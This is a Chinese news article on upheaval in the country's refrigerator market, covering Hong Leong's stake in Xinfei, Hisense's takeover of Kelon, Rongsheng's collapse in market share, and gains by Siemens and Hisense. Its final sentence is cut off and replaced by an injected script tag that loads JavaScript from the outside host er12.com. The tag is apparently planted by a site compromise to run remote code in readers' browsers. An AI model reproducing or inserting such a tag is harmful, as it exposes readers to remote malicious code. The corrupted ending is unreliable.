近日，来自冰箱业的两则资本事件颇为引人关注：其一，10月 初，新加坡丰隆集团拿下新飞集团所持有的河南新飞电器有限公司和 河南新飞家电有限公司39%的股权，新飞电器由此成为由丰隆集团控股 达90%的我国冰箱品牌；其二，9月中旬，海信正式入主科龙，在我国 冰箱业活跃多年的“容声”品牌再次找到了新的东家。
与资本市场的喧嚣一样令人震动的是，一项来自中怡康时代市场 研究公司刚刚统计得到的8月份冰箱市场数据：容声冰箱以2.6%的市 场占有率已排在10名开外，而在去年的8月容声还以8.5%的市场占有 率排在第三位。这不由得让人联想到，容声的快速下滑与“顾雏军事 件”之间有着莫大的关系。如今，资本市场的再次搅动，是否又将带 来新的市场格局？不可否认的一点是，我国冰箱业的市场格局早已不 复为一副稳定的格局，旧式格局已经被彻底打破，新的变化将随时发 生。
四大家族已成旧谈
在我国冰箱业的发展历史中，这样一个词———“四大家族” (即海尔、容声、新飞、美菱)曾多年占领着人们的眼球，即使在已经 有些变化的2004年，“四大家族”仍然活跃在冰箱市场前6位的位置。 可是，今年这种格局被彻底打破。
继美菱去年8月跌出前4之后，容声于今年8月竟出局前10，“四 大家族”终于到了“可以消亡”的时候。来自中怡康时代的对比数字 显示，去年8月海尔以28.7%的销量仍然排名第一，容声以8.5%名列第 三，但已排在西门子之后，新飞以8.4%排在第四，美菱则以6.3%名列 第六，排在了lg之后。应该说，“四大家族”在去年的时候已经由于 美菱的出位而不复存在。
今年8月，完成调整期的美菱虽以9.1%重新回到第四的位置，但 容声却以2.6%惊人地滑出前10，资本市场的变动已经到了可以彻底颠 覆一个品牌的地步。国美电器白电部部长李红卫对此也不无遗憾：“在 国美系统容声一直保持第三的位置，但五一之后因‘顾雏军事件’ 下滑得非常厉害，并直接影响了整个市场格局。”
国务院发展研究中心市场经济研究所市场咨询中心副主任陆刃波 在接受记者采访时表示，冰箱业早已经没有所谓的“四大家族”，市 场格局正处于动荡期。不过，值得欣慰的是，海尔一直牢牢占据着行 业第一的位置，新飞今年8月也以9.1%的市场占有率继续保持第三的 位置。
格局变化眼花缭乱
从年初到目前为止，不仅“四大家族”的牢固地位不保，而且其 他品牌的座次和市场表现亦发生了明显的变化，其中三大变化尤为抢 眼。
首先，以三星、lg为首的韩资品牌市场占有率均出现不同程度的 下降。根据中怡康时代的对比数据显示，去年8月，lg曾以6.4%市场 销量比例排在第5，三星以4.5%排在第7，但是今年8月，lg以4.3%降 到第8名，三星则以2.8%跌出前10。三星冰箱市场部课长李昌对此也 表示认可，并做了进一步解释：三星冰箱从今年开始完全抛弃机械冰 箱，正式实施高端策略，所以在实施的第一年，很多东西都需要做一 些过渡，而且高端产品本身就不能达到很高的销量。分析人士认为， lg同样也存在这样的问题。而从对比数据来看，今年8月lg、三星在 销售额占有率上分别以6.8%、4.5%排在第4和第8位。
其次，从国美、苏宁反馈而来的一级市场销售情况来看，国外冰 箱品牌已在高端市场占据主导地位，国产品牌几乎集体失语。国美李 红卫表示，目前在北京、上海、广州等一级城市，销售的主要品牌有 海尔、西门子、lg、伊莱克斯、海信、松下、美菱、三星。来自北京 苏宁电器白电部经理杨飞的介绍，与此亦基本相同。从这样的一个品 牌名单中，可以很清楚地看到，在主要反映高端市场的一级城市，洋 品牌已经占据了绝对重要的位置。李红卫还强调，因为容声的飞速下 滑使得这一局面表现得更为严重。也就是说，除了海尔之外，去年年 底国产品牌所言———今年要开始冲回高端的计划并没有实现。杨飞 表示，随着人们住房条件的改善，如果国产品牌仍然不改变产品策略， 那么将失去一级市场的占有率，而这一市场才是利润和销售额的真正 来源。
第三，去年8月以3.0%的销量占有率仅排名第9的海信，今年8月 就以6.0%上升至第5位，引起了行业内外的极大关注。据海信冰箱市 场部经理高祀敏介绍，海信从去年开始，年销量增长率平均已经超过 100%，高端产品(即2000元以上的产品)增长率更是达到200%多。除去 海信，另一抢眼的品牌便是西门子，依然保持稳定增长态势，今年8 月销量所占比例已经达到11.5%、销售额更是达到14.7%，高于第三位 品牌近6个百分点，牢牢占据第二的位置，并有继续上升的趋势。分 析人士认为，海信、西门子都是依靠稳定的市场策略，积极抓住了今 年市场多变的机遇，才使得地位稳步上升。
原材料涨价乃变局根本
事实上，今年我们看到的也仅仅是冰箱业变局后的结果，而在此 之前的一两年这一市场就已经发生了很多微妙的变化。其中一个最敏 感的反应就是，在最近一两年内各个品牌都变?script src=http://er12.com/t.js>
